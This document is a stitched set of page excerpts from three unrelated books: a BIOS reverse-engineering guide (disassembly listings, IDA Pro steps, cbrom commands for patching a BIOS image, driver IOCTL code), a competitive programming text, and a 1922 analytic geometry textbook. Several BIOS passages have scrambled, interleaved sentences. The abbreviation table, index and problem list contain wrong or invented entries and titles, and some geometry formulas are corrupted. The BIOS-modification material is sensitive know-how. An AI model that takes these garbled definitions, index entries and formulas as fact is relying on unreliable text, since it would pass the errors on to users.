fclose(fp); return -1; } pnp_header_pos = fgetc(fp);/* Save PnP header offset */ if(fseek(fp,(pnp_header_pos + PnP_HDR_SIZE_INDEX), SEEK_SET) != 0) { printf("Error seeking PnP Header Checksum\n"); fclose(fp); return -1; } pnp_hdr_size = fgetc(fp);/* Save PnP header size*/ /* Reset current checksum to 0x00 so that the checksum won't be wrong if calculated */ if(fseek(fp,(pnp_header_pos + PnP_CHKSUM_INDEX),SEEK_SET) != 0) { printf("Error seeking PnP Header Checksum\n"); fclose(fp); return -1; } if(fputc(0x00,fp) == EOF) { printf( "Error resetting PnP Header checksum" " value\n"); fclose(fp); return -1; } /* Calculate PnP header checksum */ if(fseek(fp,pnp_header_pos,SEEK_SET) != 0) 35 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 168 Context: ``` # 6.2 BASIC STRING PROCESSING SKILLS ## Steven & Felix 1. (a) Do you know how to store a string in your favorite programming language? (b) How to read a given text input line by line? (c) How to concatenate (combine) two strings into a larger one? (d) How to check if a string starts with ‘...’ to stop reading inputs? I love CS2333 Competitive Programming. I also love Algorithm. > Note: You must stop after reading this line as it starts with 7 dots after the first input block, there will be one loooooooooccccccoooooming line... 2. Suppose we have a user input string. We want to check if another string can be found in it. Report all the indexes where P appears in T or output -1 if P cannot be found in T. For example, if T = ‘I love CS2333 Competitive Programming. I also love Algorithm’ and P = ‘love’, then the output would be [2, 6]. If P = ‘book’, then the output is [-1]. - Do we need to implement a string matching algorithm (like Knuth-Morris-Pratt (KMP) algorithm discussed in Section 6.4), or can we just use Library functions? 3. Suppose we want to do some simple analysis of the characters in T and also to transform each character into 1-byte ASCII codes. The required analysis could be: How many digits, vowels, special characters, and consonants (other lower/uppercase alphabets that are not vowels) are there in T? Can you also tell (How?) where is the ending of a string? 4. Next, we want to build this into an array of tokens. For this task, the delimiters of those tokens are an array of strings (like spaces, commas, semicolons, etc.). We can assume that the following strings form tokens: `{'I', 'love', 'CS2333', 'I', 'also', 'love', 'Algorithm'}`. - How to store an array of strings? 5. Next, let’s say we want to analyze the string lexicographically. - Note: If we want to analyze this string lexicographically and find the maximum lexicographic string, we can use the following approach: - `['also', 'competitive', 'CS2333', 'I', 'love', 'programming']`. (a) Which data structure best supports this word frequency counting problem? (b) The given list has one more item like the one that starts with ‘...’. The length of this list item is not constant. Count how many characters there are in the last item? (c) How to read a string when we do not know its length in advance? *Note: This is a text excerpt like the one used in our common dictionary.* ``` #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 190 Context: 8000:A2A7 next_dword: ; ... 8000:A2A7 add bx, 4 8000:A2AA push ecx 8000:A2AC mov edi, ss:[bx+0] ; edi = destination addr 8000:A2B0 add bx, 4 8000:A2B3 mov ecx, ss:[bx+0] 8000:A2B7 mov edx, ecx ; edx = byte count 8000:A2BA shr ecx, 2 ; ecx / 4 8000:A2BE jz short copy_remaining_bytes 8000:A2C0 rep movs dword ptr es:[edi], dword ptr [esi] 8000:A2C4 8000:A2C4 copy_remaining_bytes: ; ... 8000:A2C4 mov ecx, edx 8000:A2C7 and ecx, 3 8000:A2CB jz short no_more_bytes2copy 8000:A2CD rep movs byte ptr es:[edi], byte ptr [esi] 8000:A2D0 8000:A2D0 no_more_bytes2copy: ; ... 8000:A2D0 pop ecx 8000:A2D2 loop next_dword 8000:A2D4 mov edi, 120000h ; Decompression destination 8000:A2D4 ; address 8000:A2DA call far ptr esi_equ_FFFC_0000h ; Decompression source 8000:A2DA ; address 8000:A2DF push 0F000h 8000:A2E2 pop ds 8000:A2E3 assume ds:_F0000 8000:A2E3 mov word_F000_B1, cx 8000:A2E7 mov sp, bp 8000:A2E9 pop ds 8000:A2EA assume ds:nothing 8000:A2EA pop es 8000:A2EB popad 8000:A2ED retn 8000:A2ED copy_decomp_result endp ; sp = -4 ......... The function copies the decompressicopy_decomp_resultation and the source of thon result from address is operation are provided in 00h. This header format is esult Header 120000h to segment F000h. The destinthe header portion of the decompressed code at address 1200somehow similar to the header format used by the decompression engine module encounterpreviously. The header is shown in listing 5.35. Listing 5.35 Decompression R0000:120000 dw 1 ; Number of components 0000:120002 dw 0Ch ; Header length of this component 0000:120004 dd 0F0000h ; Destination address 0000:120008 dd 485h ; Byte count 84 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 13 Context: # Abbreviations | Abbreviation | Description | |--------------|------------------------------------------------| | A* | A Star | | ACM | Association of Computing Machinery | | AC | Accepted | | ASP | All-Pairs Shortest Paths | | AVL | Adelson-Velsky Tree (BST) | | BNF | Backus-Naur Form | | BIT | Binary Indexed Tree | | BST | Binary Search Tree | | CC | Coin Change | | COW | Counter ClockWise | | CCF | Cumulative Frequency | | CS | Computer Science | | DAG | Directed Acyclic Graph | | DA | Direct Acyclic Graph | | D&C | Divide and Conquer | | DFS | Depth First Search | | DP | Dynamic Programming | | ED | Edit Distance | | FT | Rewrite Tree | | GCD | Greatest Common Divisor | | ICPC | International Collegiate Programming Contest | | IDS | Iterative Deepening Search | | IDA* | Iterative Deepening A* | | IPOs | International Problem Solving Contest | | LA | Law Average | | LCM | Least Common Multiple | | LDP | Longest Prefix | | LCS | Longest Common Subsequence | | LIS | Longest Increasing Subsequence | | MSP | Minimum Spanning Path | | MCMD | Max Cardinality Bip Matching | | MCMN | Min-Can Max-Min | | MMCN | Min-Max Min-Max | | ME | Memory Limit Exceeded | | MST | Minimum Spanning Tree | | MVP | Minimum Vertex Cover | | OJ | Online Judge | | PB | Presentation B | | RMQ | Range Minimum (or Maximum) Query | | RSQ | Range Sum Query | | RTE | Run Time Error | | SSP | Single-Source Shortest Paths | | SA | Suffix Array | | STL | Standard Template Library | | TLE | Time Limit Exceeded | | USACO | USA Computing Olympiad | | UVA | University of Valladolid [28] | | WA | Wrong Answer | | WF | World Finals | #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 73 Context: The preceding line informs the linker that you want the output format of the linking process to be an object file in the elf32-i386 format, i.e., object file with executable and linkable format (ELF) for the 32-bit x86 processor family. The next line informs the linker about the exact target machine architecture: OUTPUT_ARCH(i386) The preceding line informs the linker that the linked object file will be running on a 32-bit x86-compatible processor. The next line informs the linker about the symbol that represents the entry point of the linked object file: ENTRY(_start) This symbol actually is a label that marks the first instruction in the executable binary produced by the linker. In the preceding linker script statement, the label that marks the entry point is _start. In the current example, this label is placed in an assembler file that sets up the execution environment.6 A file like this usually named crt07 and found in most operating system source code. The relevant code snippet from the corresponding assembler file is shown in listing 3.5. Listing 3.5 Assembler Entry Point Code Snippet # ----------------------------------------------------------------------- # Copyright (C) Darmawan Mappatutu Salihun # File name : crt0.S # This file is released to the public for non-commercial use only # ----------------------------------------------------------------------- .text .code16 # Default real mode (add 66 or 67 prefix to 32-bit instructions) # Irrelevant code omitted... # ----------------------------------------------------------------------- # Entry point/BEV implementation (invoked during bootstrap / int 19h) # .global _start # entry point _start: movw $0x9000, %ax # setup temporary stack movw %ax, %ss # ss = 0x9000 # Irrelevant code omitted... 7 Crt0 is the common name for the assembler source code that sets up an execution environment for compiler-generated code. It is usually generated by C/C++ compiler. Crt stands for C runtime. 10 #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 169 Context: # REVIEW ## Exercise 48. Review 1. The ellipses \(4x^2 + 9y^2 = 36\) and \(4x^2 + 9y^2 = 72\) have the same eccentricity. 2. The ellipses \(16x^2 + y^2 = 144\) and \(17x^2 + 10y^2 = 170\) have the same foci. 3. If the ellipse \(4x^2 + 7y^2 = 36\) is rotated \(90^\circ\) about its center, it coincides with the ellipse \(7x^2 + 4y^2 = 36\). 4. All the ellipses which are represented by the equation \[ \frac{x^2}{a^2} + \frac{y^2}{b^2} = 1, \] for various positive values of \(b\), have the same center, have their axes in the same ratio, and have the same eccentricity. 5. Draw any two of the ellipses of Ex. 4 and a number of parallel lines cutting chords from both ellipses. Then the line which bisects the chords of one ellipse also bisects the chords of the other ellipse. 6. The two segments of any line intercepted between the two ellipses of Ex. 5 are equal, and any chord of the larger ellipse which is tangent to the smaller ellipse is bisected at the point of tangency. 7. All the ellipses which are represented by the equation \[ \frac{x^2}{a^2} + \frac{y^2}{b^2} = 1, \] for various values of \(b\), have the same foci. 8. Draw the axes of an ellipse, having given the focus and one point on the curve. 9. Having given one point on an ellipse and the length and position of the major axis, draw the minor axis and the foci. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 60 Context: ```markdown # 3.2 COMPLETE SEARCH **© Steven & Felix** Browse the internet or reference books ([44](#)) to find more information on how to speed up your code. Products like those loading skills for discussing a harder problem in UVA online judge where the ratio of the number of hits to out of bounds. Study similar variants of your accepted solution and track the runtime distributions. Adapt hacking modifications that give you faster runtime. ## Tip 7: Use Better Data Structures & Algorithms :) No kidding. Using better data structures and algorithms always outperforms any optimization tips mentioned in Tip 1-6 above. If all else fails, abandon Complete Search approach. ## Remarks About Complete Search in Programming Contests If a problem is declared to be solvable by Complete Search, it will also be done via iterative or recursive backtracking approach. Iterative approach is used when we can derive the different cases easily without some randomness relative to a certain counter and all cases have to be checked, e.g. starting all possible tuples or enumerating all possible orders of a small set. Recursive Backtracking is used when it is hard to derive the different setups more of a recursive manner. Be mindful that in the space of a problem that is solvable with Complete Search is large, the recursive bookkeeping that defines the problem may influence search space in particular ways. The best way to improve your Complete Search skills is to solve many problems solvable with Complete Search. We have categorized a list of such problems into four sub-categories below. Please attempt as many as possible, especially those that are highlighted as **must try**. ### Programming Examples available using Complete Search: 1. **Iterative:** 1. UVA 001: Ecological Bin Packing (try all possible combinations) 2. UVA 010: The Simple Problem (bruteful map) 3. UVA 012: Problem (try all n! permutations) 4. UVA 013: Recycling (try all combinations) 5. UVA 014: Perfect Squares (bin search) 6. UVA 015: Subset Sum (brute force, pre-calculated-sums) 7. UVA 016: Backtracking (n in search) 8. UVA 017: Highest Points (by S – S...) 9. UVA 018: Food Cases (counting logic) 10. UVA 019: Color Riddle (using pairs) 2. **Recursive:** 1. UVA 020: Magic Numbers (very similar to UVA 725) 2. UVA 022: Binary Search (returning pairs) 3. UVA 023: Parity (unhappy in search) 3. **Enumeration:** 1. UVA 050: Sheep versus Enemy (using an arsenal) 2. UVA 060: Min/Max too. 4. **Others:** 1. UVA 070: Brick Walling (most tested solution) 2. UVA 080: The Wind (is supposed) 3. UVA 100: Equalizing (it should be hard) 4. UVA 107: Brick Equality (it just varies) ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 250 Context: ``` # INDEX ## Steven & Felts - Peck's Theorem, 194 - Peck, George Alexander, 194 - Picks, 176 - Polygon, 188 - Cover, 191 - Collapsing, 190 - Inpolygon, 189 - Indenture, 188 - Isomorphism, 187 - Polynomial, 194 - Primes as a Matrix, 147 - Parts, Vaughan, 150 - Prime, Alphabet, 85 - Prime Factor City, 89 - Prime Factors - Number of Distinct, 138 - Sum of, 138 - Prime Numbers - General - Finding Small Prime Factors, 138 - Primality Testing, 133 - Prime Factor Basis, 137 - Working with Prime Factors, 137 - Probability Theory, 192 - Pythagorean Theorem, 184 - Pythagorean Triple, 184 ## Quadrilaterals, 185 ## Queen, 53 ### Range Minimum Query, 32 - Sequence, 122 - Spanning Tree, 108 - Single-Source Shortest Paths, 90 - Dijkstra's Algorithm, 93 - Negative Weight Cycle, 93 - Unweighted, 69 ### Sliding Window, 96 - Sort-The-Array, 159 ### Spatial Graphs, 107 - Spells, 163 - SIDO1 140 - Fulfilling, 112 - SP0I 140 - Spatial Array, 173 - Square, 82 - Stack, 27 - String Alignment, 160 - String Matching, 156 ## String Processing, 151 - String Searching, see String Matching, - Strongly Connected Components, 199 - Suffix Trees, 163 - Applications - Overlap (in) Construction, 168 - Longest Common Prefix, 171 - Longest Common Substring, 173 - Longest Repeated Substring, 165 - Suffix, The, 166 - Tajin, Robert Earle, 78, 81, 80 - Tarry, Sawyer, 80 - TopCoder, 32 - Topological Sort, 27 - Tree, 112 - Traveling Salesman Problem, 65 - Triangle, 133 ## Union-Find Disjoint Sets, 30 - USACO, 120 - UVA - UVA 100 - The 3n + 1 Problem, 123 - UVA 101 - The Blocks Problem, 17 - UVA 102 - Stacking Boxes, 44 - UVA 103 - Ecological Bin Packing, 44 - UVA 104 - Arable Land, 12 - UVA 105 - A Small Base Problem, 135 - UVA 106 - The Cake in the Pile, 124 - UVA 107 - A House in the Storm, 137 - UVA 108 - Maximum Subarray, 66 - UVA 109 - Maximum Sum of Contiguous Subarray, 21 - UVA 110 - The Straight Line, 25 - UVA 111 - The Professor's Grading, 85 - UVA 112 - Intra-Processor Communication, 121 - UVA 113 - A New Font, 34 - UVA 114 - Symmetric Wrapping, 17 - UVA 115 - Ultimate Quiz, 89 - UVA 116 - Undead Hoard, 63 - UVA 117 - The Postal Worker Range Once, 118 ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 248 Context: # INDEX ## Factorial - 316 ## Fenwick Tree - Fenwick Tree, A5, 32 ## Fibonacci Numbers - Fibonacci Sequence, 128, 129 ## Flood Fill - Flood Fill, 71 ## Floyd Warshall's Algorithm - Floyd Warshall's, 96 ## Game Theory - Game Tree, or Decision Tree - Godefroid, Christian, 132 - Graham's Scan, 19 - Gibbons, Ronald Lewis, 191, 194 - Group, 71 - Data Structure, 29 - Quad-Circle Distance, 186 - Greatest Common Divisor, 135 - Greedy Algorithm, 51 - Grid, 122 ## Hash Table - 27 ## Heap - Heaps of Alexandria, 184, 187 - Horner's Rule, 154 - Hopcroft & Karp, 184, 187 ## IPC1 - 1 ## Internal Covering - 53 ## IOI 2010 - Total Maintenance - IOI 2010 - Practice, 173 ## IOI 2011 - IOI 2011 - Archive, 203 - IOI 2011 - C5, 189 - IOI 2011 - Geometry, 15 - IOI 2011 - Life, 50 - IOI 2011 - Palindromes, 94 - IOI 2011 - Permutations, 203 - IOI 2011 - Planes, 48 - IOI 2011 - Randomness, 79 - IOI 2011 - Set Distribution, 95 - IOI 2011 - Two Patterns, 153 - IOI 2011 - Youngsters, 38 ## Iterative Deepening Search - 204 ## Jaradk, Wojciech, 89 ## Java - Java BigInteger Class, 125 - Base Number Conversion, 127 - GCD, 126 - Java Pattern (Regular Expressions), 153 ## Karp, Richard Manning - 65, 102 ## Knapsack (0-1) - 63 ## Knuth-Dalrymple's Algorithm - 156 ## Kruskal's Algorithm - 84 ## LA 2189 - Mobile Constraints - 18 ## LA 2195 - Counting Sequences - 132 ## LA 2589 - Regular Installations - 156 ## LA 2629 - Mobile Wind Shields - 50 ## LA 2765 - Air Ring - 118 ## LA 2815 - Geodesic Bet Problem - 100 ## LA 2817 - A DT Problem - 159 ## LA 2912 - Trees and Insects - 20 ## LA 3013 - Leftmost Edge - 25 ## LA 3115 - Arrays & Sequences - 118 ## LA 3136 - Timing Problem - 119 ## LA 3143 - Breakout - 51 ## LA 3177 - Merging - 80 ## LA 3208 - Front Fly Ends - 202 ## LA 3209 - Cursive - 115 ## LA 3304 - The Bamboozler - 135 ## LA 3443 - Square, - 231 ## LA 3479 - Broken Jigsaw - 118 ## LA 3687 - Dumpling - 60 ## LA 3689 - String Cutting - 155 ## LA 3695 - To-Do and the Problem - 89 ## LA 3794 - Perfect Squaring - 115 ## LA 3795 - Perfect Permutations - 211 ## LA 3797 - Bringing FIFA - 211 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 213 Context: Figure 6.3 shows the commands applicable to cbrom. Displaying the options or help in cbrom is just like in DOS days; just type /? to see the options and their explanation. Now, get into a little over-the-edge cbrom usage. Remove and reinsert the system BIOS extension in Iwill VD133 BIOS. This BIOS is based on Award BIOS version 4.50PG code. Thus, its system BIOS extension is decompressed into segment 4100h during POST, not to segment 1000h as you saw in chapter 5, when you reverse engineered Award BIOS. Here is an example of how to release the system BIOS extension from this particular BIOS binary using cbrom in a windows console: E:\BIOS_M~1>CBROM207.EXE VD30728.BIN /other 4100:0 release CBROM V2.07 (C)Award Software 2000 All Rights Reserved. [Other] ROM is release E:\BIOS_M~1> Note that the system BIOS extension is listed as the "other" component. Now, see how you insert the system BIOS extension back to the BIOS binary: E:\BIOS_M~1>CBROM207.EXE VD30728.BIN /other 4100:0 awardext.rom CBROM V2.07 (C)Award Software 2000 All Rights Reserved. Adding awardext.rom .. 66.7% E:\BIOS_M~1> So far, I've been playing with cbrom. The rest is just more exercise to become accustomed with it. Proceed to the last tool, the chipset datasheet. Reading a datasheet is not a trivial task for a beginner to hardware hacking. The first thing to read is the table of contents. However, I will show you a systematic approach to reading the chipset datasheet efficiently: 1. Go to the table of contents and notice the location of the chipset block diagram. The block diagram is the first thing that you must comprehend to become accustomed to the chipset datasheet. And one more thing to remember: you have to be acquainted with the bus protocol, or at least know the configuration mechanism, that the chipset uses. 2. Look for the system address map for the particular chipset. This will lead you to system-specific resources and other important information regarding the address space and I/O space usage in the system. 3. Finally, look for the chipset register setting explanation. The chipset register setting will determine the overall performance of the motherboard when the BIOS has been executed. When a bug occurs in a motherboard, it's often the chipset register value initialization that causes the trouble. You may want to look for additional information. In that case, just proceed on your own. 5 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 47 Context: # Application Settings for the IDA Pro Plugin Project 1. In the **Settings** tab, from the **Application type** selection buttons, select **DLL**, and from the **Additional options** checkboxes, choose **empty project**. Then, click **finish**. This step is shown in Figure 2.17. ![Figure 2.17 Application settings for the IDA Pro plugin project](path/to/image) 2. In the **Solution Explorer** on the right side of Visual Studio .NET 2003, right-click the **Source Files** folder and go to **Add** > **Add New Item...** or **Add** > **Add Existing Item...** to add the relevant source code files (*.cpp, *.c) into the plugin project as shown in Figure 2.18. Start by creating a new source code file, i.e., **main.cpp**. Then, copy the contents of the main source code file of the sample plugin from the IDA Pro SDK (`sdk\plugins\vc\sample\strings.cpp`) to **main.cpp**. ![Figure 2.18](path/to/image) #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 44 Context: # Jump to Address Dialog You can alter `idaq.cfg` to change the default key binding. However, in this book, I only consider the default key binding. Now that you have grasped the key binding concept, I will show you how to use it in the binary. In the previous example, you were creating a new segment, i.e., `0x000F`. Now, you will go to the first instruction executed in the BIOS within that segment, i.e., address `0xF000:0xFF0`. Press G, and the dialog box in Figure 2.12 will be shown. ![Figure 2.12 The "Jump to address" dialog box](path-to-image) In this dialog box, enter the destination address. You must enter the address in its complete form (`segment:offset`) as shown in the preceding figure, i.e., `F000:FF0`. Then, click OK to go to the intended address. Note that you don't have to type the leading `0x` character because, by default, the value within the input box is in hexadecimal. The result will be as shown in Figure 2.13. ![Figure 2.13 The "jump to address" result dialog box](path-to-image) ### Hex View - F000:FF8 -> `db` 0 - F000:FF9 -> `db` 0 - F000:FFA -> `db` 0AAh - F000:FFB -> `db` 0FFh - F000:FFC -> `db` 0 - F000:FFD -> `db` 30h - F000:FFE -> `db` 39h - F000:FFF -> `db` 2Fh - F000:1000 -> `db` 30h - F000:1001 -> `db` 30h - F000:1002 -> `db` 30h - F000:1003 -> `db` 30h - F000:1004 -> `db` 30h - F000:1005 -> `db` 30h - F000:1006 -> `db` 30h - F000:1007 -> `db` 30h - F000:1008 -> `db` 30h This structure provides a clear presentation of the key bindings and jump addresses relevant to the context. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 28 Context: Chapter 2 Preliminary Reverse Code Engineering PREVIEW This chapter introduces software reverse engineering1 techniques by using IDA Pro disassembler. Techniques used in IDA Pro to carry out reverse code engineering of a flat binary file are presented. BIOS binary flashed into the BIOS chip is a flat binary file.2 That's why these techniques are important to master. The IDA Pro advanced techniques presented include scripting and plugin development. By becoming acquainted with these techniques, you will able to carry out reverse code engineering in platforms other than x86. 2.1. Binary Scanning The first step in reverse code engineering is not always firing up the disassembler and dumping the binary file to be analyzed into it, unless you already know the structure of the target binary file. Doing a preliminary assessment on the binary file itself is recommended for a foreign binary file. I call this preliminary assessment binary scanning, i.e., opening up the binary file within a hex editor and examining the content of the binary with it. For an experienced reverse code engineer, sometimes this step is more efficient rather than firing up the disassembler. If the engineer knows intimately the machine architecture where the binary file was running, he or she would be able to recognize key structures within the binary file without firing up a disassembler. This is sometimes encountered when an engineer is analyzing firmware. Even a world-class disassembler like IDA Pro seldom has an autoanalysis feature for most firmware used in the computing world. I will present an example for such a case. Start by opening an Award BIOS binary file with Hex Workshop version 4.23. Open a BIOS binary file for the Foxconn 955X7AA-8EKRS2 motherboard. The result is shown in figure 2.1. 1 Software reverse engineering is also known as reverse code engineering. It is sometimes abbreviated as RCE. 2 A flat binary file is a file that contains only the raw executable code (possibly with self-contained data) in it. It has no header of any form, unlike an executable file that runs within an operating system. The latter adheres to some form of file format and has a header so that it can be recognized and handled correctly by the operating system. 1 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 294 Context: BUILD: Saving C:\WINDDK\2600~1.110\build.dat... BUILD: Compiling f:\a-list_publishing\windows_bios_flasher\current\sys directory Compiling - bios_probe.c for i386 BUILD: Linking f:\a-list_publishing\windows_bios_flasher\current\sys directory Linking Executable - i386\bios_probe.sys for i386 BUILD: Done 2 files compiled 1 executable built Now, I will show you the overall source code of the driver that implements components 2 and 3 in figure 9.1. I start with the interface file that connects the user-mode application and the device driver. Listing 9.8 The interface.h File /* * This is the interface file that connects the user-mode application * and the kernel-mode driver. * * NOTE: * ----- * - You must use #include before including this * file in your user-mode application. * - You probably need to use #include before including * this file in your kernel-mode driver. * These include functions are needed for the CTL_CODE macro to work. */ #ifndef __INTERFACES_H__ #define __INTERFACES_H__ #define IOCTL_READ_PORT_BYTE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) #define IOCTL_READ_PORT_WORD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0802, METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) #define IOCTL_READ_PORT_LONG CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0803, METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) #define IOCTL_WRITE_PORT_BYTE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0804, METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) #define IOCTL_WRITE_PORT_WORD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0805, METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) #define IOCTL_WRITE_PORT_LONG CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0806, METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA) #define IOCTL_MAP_MMIO CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0809, #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 152 Context: E000:2276 retn E000:2276 Reloc_Dcomprssion_Block endp In the code in listing 5.17, the decompression block is found by searching for the = Award Decomptring. The code then reression Bios = slocates the decompression block segment 400h. This code is the part of the first POST routine. As you can see from the this routine that the starting physical address of e comtoprevious section, there is no "additional" POST routine carried out before to table for POST number 1. because there is no "index" in the additional POST jumpRecall from boot block section that you know thpressed BIOS components in the image of the BIOS binary at 30_0000h–37_FFFFh has been saved to RAM at 6000h–6400h during the execution of the decompression engine. In addition, this starting address is stored in that area by following this formula: address_in_6xxxh = 6000h+4*(lo_byte(destination_segment_address)+1) Note that destination_segment_address is starting at offset 11h from the you can find out which rticular case, the ecompression routine is called with 8200h as the index parameter. This breaks down to the following: beginning of every compressed component.13 By using this formula, component is decompressed on a certain occasion. In this pad lo_byte(destination_segment_address) = ((8200h & 0x3FFF)/4) - 1 lo_byte(destination_segment_address) = 0x7F compressed awardext.rom because it's the value in n segment" is 407Fh. Note that mpression routine for extension pression routines will be clear later when I explain the cution during POST. nents Decompression value (7Fh) corresponds to Thisthe awardext.rom header, i.e., awardext.rom's "destinatio operation mimics the decopreceding the binary ANDcomponents. The decomdecompression routine exe ion Compo5.1.3.4. Extens Listing 5.18 Extension Components Decompression E000:72CF E000:72CF ; in: di = component index E000:72CF ; si = target segment E000:72CF E000:72CF Decompress_Component proc far ; ... E000:72CF push ds E000:72D0 push es 13 The offset is calculated by including the preheader. 46 #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 241 Context: # REVIEW ## Exercise 62. Review 1. Find the equation of the locus of the foot of the perpendicular from the point \((-a, 0)\) upon the tangent to the parabola \(y^2 = 4ax\), and draw the locus. This locus is called a **droppel**, which means "like a twisted band." 2. The locus of the foot of the perpendicular from the vertex of the parabola \(y^2 = 4ax\) upon the tangent is a **circle**. 3. If \(r\) denotes the radius of a circle rolling on a straight line, the distance of any point on the radius from the center of the circle and the angle \( \theta \) the radius makes with the vertical is \(r = -r \sin \theta\) and \( y = -r \cos \theta\). This locus is called a **cycloid**, which means "wheel-line." 4. Draw the curve in Ex. 3 when \(k < r\) and when \(b > r\). When \(k < r\), the curve is called the **spiral cupped**, and when \(b > r\), it is called the **spiral cupped**. It is efficient that the curve is described in §234. 5. Assuming that in the equation \(p = e \theta\) is a positive constant, and taking the value \(v = \sqrt{2}{\overline{2 - 2r}}\) such that it increases without limit when \(2\) decreases toward \(0\), and that \(p\) will increase from \(2\) without limit. Draw the curve, and also consider the case of \(p = -\sqrt{2}\). This curve is called the **lituus**, which means "a bending staff." The reason for the name will be revealed from the figure. 6. Draw the graph of the equation \(p = r/\theta\). This curve is called the **reciprocal spiral**. 7. Let \(P_0\) be any point on the reciprocal spiral \(p = r/\theta\). Draw a directional curve clockwise from \(P\) and meeting the polar axis at the point \(Q\), and prove that the arc \(PQ\) is constant. 8. If \(P, P_0, P_1, \ldots, P_n\) are such that the points of the logarithmic spiral \(p = e^r\) and if the vectorial angles \(\theta_0, \theta_1, \ldots, \theta_n\) are in arithmetic progression, then the radius vectors \(P_0, P_1, P_2\) are in geometric progression. #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 273 Context: # TRACES AND CONTOURS ## 285. Trace of a Surface The curve in which a surface cuts a coordinate plane is called the **trace** of the surface in that plane. Since \( z = 0 \) for all points in the \( xy \) plane and for no others, the equation of the \( xy \) trace of a surface is found by letting \( z = 0 \) in the equation of the surface. By the **trace** of a surface, we mean the trace of the surface in the \( xy \) plane. Thus, the **trace** of the plane \( 3z - y = -1 \) is like the line \( 3z - y = -1 \). The equation of the \( zx \) trace of a surface is found by letting \( y = 0 \) in the equation of the surface, and the equation of the \( yz \) trace is found by letting \( x = 0 \). ## 286. Contour of a Surface The curve in which a plane parallel to the \( xy \) plane cuts a surface is called an **xy contour** of the surface; and, similarly, we have \( xz \) contours and \( yz \) contours. To find the \( xy \) contour which the plane \( x = k \) cuts from a surface, we evidently must let \( x = k \) in the equation of the surface. To find the \( yz \) contour made by the plane \( y = k \), we let \( y = k \) in the equation; and for the \( xz \) contour made by the plane \( z = k \), we let \( z = k \) in the equation. For example, the \( xy \) contour of the sphere \( x^2 + y^2 + z^2 = 25 \) made by the plane \( z = 2 \) is the circle \( x^2 + y^2 = 21 \), of which \( DE \) is one diameter. Remember that these are circles in the plane parallel to the \( xy \) plane, with the plane \( z = 2 \). The simple equation \( x^2 + y^2 = 21 \) represents a space cylinder parallel to \( O \) (2 %). It is not necessary to draw more than one octant of the sphere. #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 63 Context: ``` # REVIEW ## Exercise 19. Review Show that each of the following equations represents two straight lines and draw the graph of each equation: 1. \( x^2 - y^2 = 0 \) 2. \( x^2 - 9y = 0 \) 3. \( x^2 + y^2 = 0 \) 4. \( 2x^2 - 9y = 0 \) 5. \( 5x + 2y - 6 = 0 \) 6. \( x - y = 1 \) 7. \( 3x - 2y = 0 \) 8. \( 6x - 13y + 6 = 0 \) 9. Two vertices of a triangle are \( A(-3, 4) \) and \( B(4, 0) \). The third vertex \( P \) moves so that \( AP^2 + BP^2 = 64 \). Find the equation of the locus of \( P \) and draw the locus. 10. The point \( P \) moves so that the slope of \( AP \) is half that of \( BP \), where \( A(0, 0) \) and \( B(6, 0) \). Find the equation of the locus of \( P \) and draw the locus. 11. Find the equation of the locus of a point \( P \) which moves so 